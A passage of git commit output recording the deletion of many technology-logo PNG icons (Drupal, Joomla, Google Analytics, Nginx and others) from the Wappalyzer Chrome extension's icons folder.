mode 100644 Wappalyzer/drivers/chrome/images/icons/D3.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/DAV.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/DHTMLX.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/DTG.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Dancer.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Danneo CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Dart.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Darwin.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/DataLife Engine.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/David Webbox.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Debian.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Decorum.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/DedeCMS.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Dell.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Demandware.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Deployd.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/DirectAdmin.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Discourse.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Disqus.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Django CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Django.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Dojo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Dokeos.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/DokuWiki.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/DotNetNuke.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Dotclear.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Doxygen.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/DreamWeaver.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Drupal Commerce.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Drupal.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Dynamicweb.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/E-Merchant.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ELOG HTTP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ELOG.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/EPiServer.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/EPrints.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ESERV-10.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/EWS-NIC4.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Ecodoo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/EdgeCast.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Eloqua.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/EmbedThis Appweb.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Embedthis-http.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Ember.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Enyo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Epom.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Erlang.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Exhibit.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Express.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ExpressionEngine.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ExtJS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/FAST ESP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/FAST Search for SharePoint.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/FWP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Fact Finder.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Fat-Free Framework.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Fedora.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Fireblade.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/FlashCom.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/FlexCMP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/FluxBB.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Flyspray.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Font Awesome.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Fortune3.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/FreeBSD.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/FreeTextBox.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/FrontPage.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Fusion Ads.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/G-WAN.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/GX WebManager.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Gallery.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Gambio.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Gauges.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Gentoo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Get Satisfaction.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/GetSimple CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Ghost.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/GitBook.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/GitLab.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/GlassFish.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Glyphicons.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/GoAhead.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/GoStats.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google AdSense.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google Analytics.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google App Engine.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google Charts.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google Code Prettify.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google Font API.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google Friend Connect.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google Maps.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google PageSpeed.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google Sites.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google Tag Manager.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google Wallet.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Google Web Toolkit.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Graffiti CMS.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Grandstream.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Gravatar.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Gravity Insights.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Green Valley CMS.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/HP ChaiServer.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/HP Compact Server.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/HP ProCurve.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/HP System Management.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/HP iLO.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/HP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/HTTP-Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Handlebars.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Happy ICS Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/HeadJS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Hello Bar.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Hiawatha.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Highcharts.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Highstock.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Hippo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Hogan.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Hotaru CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/HubSpot.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Hybris.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/IBM Coremetrics.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/IBM HTTP Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/IBM Tivoli Storage Manager.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/IBM WebSphere Commerce.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/IBM WebSphere Portal.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/IIS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/IPB.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ImpressCMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ImpressPages.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/InProces.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Incapsula.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Indexhibit.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Indico.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Indy.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/InstantCMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Intel Active Management Technology.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/IntenseDebate.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Intercom.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Intershop.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Invenio.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Ionicons.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/JAlbum.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/JBoss Application Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/JBoss Web.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/JC-HTTPD.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/JS Charts.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/JTL Shop.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Jalios.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Java Servlet.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Java.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/JavaServer Faces.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/JavaServer Pages.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Javascript Infovis Toolkit.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Jekyll.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Jenkins.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Jetty.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Jirafe.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Jo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/JobberBase.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Joomla.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/K2.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/KISSmetrics.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/KS_HTTP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Kampyle.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Kendo UI.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Kentico CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/KineticJS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Knockout.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Koa.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Koala Framework.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Koego.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Kohana.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Kolibri CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Komodo CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Koobi.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Kooboo CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/LEPTON.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/LabVIEW.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Laravel.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Leaflet.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Less.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Liferay.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Lift.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/LightMon Engine.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Lightbox.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/LimeSurvey.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/LinkSmart.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/LiteSpeed.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/LiveJournal.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/LiveStreet CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Livefyre.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Lo-dash.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Lockerz Share.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Locomotive.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Lodash.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Logitech Media Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Lotus Domino.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Lua.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/M.R. Inc Webserver.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/M.R. Inc Wild CMS.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/MOBOTIX.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MODx.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Magento.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mambo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MantisBT.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ManyContacts.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Marketo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MathJax.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MaxSite CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MediaElement.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MediaTomb.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MediaWiki.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Meebo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Methode.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Microsoft ASP.NET.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Microsoft HTTPAPI.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Microsoft SharePoint.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MiniBB.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MiniServ.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mint.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mixpanel.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mobify.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MochiKit.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MochiWeb.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Modernizr.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MoinMoin.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mojolicious.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mollom.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Moment Timezone.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Moment.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mondo Media.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MongoDB.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mongrel.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Monkey HTTP Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mono.net.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mono.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MooTools.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Moodle.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Moogo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Motion-httpd.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Movable Type.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Moxa.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mozard Suite.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mura CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mustache.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MyBB.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MyBlogLog.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/MySQL.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Mynetcap.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/NOIX.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/NVD3.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Nedstat.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Nepso.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Netmonitor.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Nette Framework.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/New Relic.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Nginx.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Nokia Maps.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/OXID eShop.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/October CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/OmniTouch 8660 My Teamwork.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/OneStat.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Open AdStream.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Open Journal Systems.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Open Web Analytics.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/OpenCart.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/OpenGSE.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/OpenGrok.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/OpenLayers.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/OpenNemas.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/OpenSSL.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/OpenText Web Solutions.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Ophal.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Optimizely.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Oracle Application Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Oracle Dynamic Monitoring Service.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Oracle HTTP Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Oracle Recommendations On Demand.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Oracle Web Cache.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Outbrain.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Outlook Web App.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/PANSITE.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/PDF.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/PHP-Fusion.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/PHP-Nuke.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/PHP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Pagekit.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Pardot.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Parse.ly.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/PayPal.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/PencilBlue.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Percussion.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/PerfSONAR-PS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Perl.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Petrojs.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Phaser.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Piano Solo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Piwik.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Planet.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Plentymarkets.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Plesk.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Pligg.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Plone.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Plura.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Po.st.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Polymer.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Posterous.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Powergap.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Prefix-Free.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Prestashop.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Project Wonderful.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Prototype.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Protovis.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Pure CSS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Python.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Quantcast.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Quick.CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Quick.Cart.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/RAID HTTPServer.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/RBS Change.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/RCMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/RDoc.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/RackCache.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Raphael.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Rapid Logic.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/React.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ReallyCMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Red Hat.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Reddit.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Redmine.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Reinvigorate.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/RequireJS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Reveal.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/RiteCMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/RoundCube.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Ruby on Rails.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Ruby.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/S.Builder.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SAP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SDL Tridion.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SIMsite.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SMF.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SOBI 2.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SPDY.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SPIP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SQL Buddy.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SQLite.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SUSE.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SWFObject.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Saia PCD.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Sarka-SPIP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Scala.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Schneider Web Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Schneider.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Scientific Linux.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Sencha Touch.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Sentinel Keys Server.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Sentinel License Monitor.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Sentinel Protection Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Seoshop.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Serendipity.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Shadow.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ShareThis.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ShinyStat.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Shopalize.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Shopatron.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Shopify.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Shopware.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Silva.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SilverStripe.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SimpleHTTP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Site Meter.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SiteCatalyst.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SiteDNK.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SiteEdit.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Sitecore.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Sivuviidakko.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Sizmek.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Skimlinks.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Slimbox 2.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Slimbox.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Smart Ad Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SmartSite.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Smartstore.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Snap.svg.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Snoobi.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SobiPro.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Socket.io.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Solodev.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SoundManager.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Sphinx.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SpiderControl iniNet.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Splunk.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Splunkd.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Spree.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Squarespace.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Squiz Matrix.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Starlet.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/StatCounter.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Store Systems.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Stripe.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SublimeVideo.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Subrion.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/SunOS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Supersized.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Swiftlet.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Synology DiskStation.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TWiki.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/TYPO3 CMS.png delete mode 100644 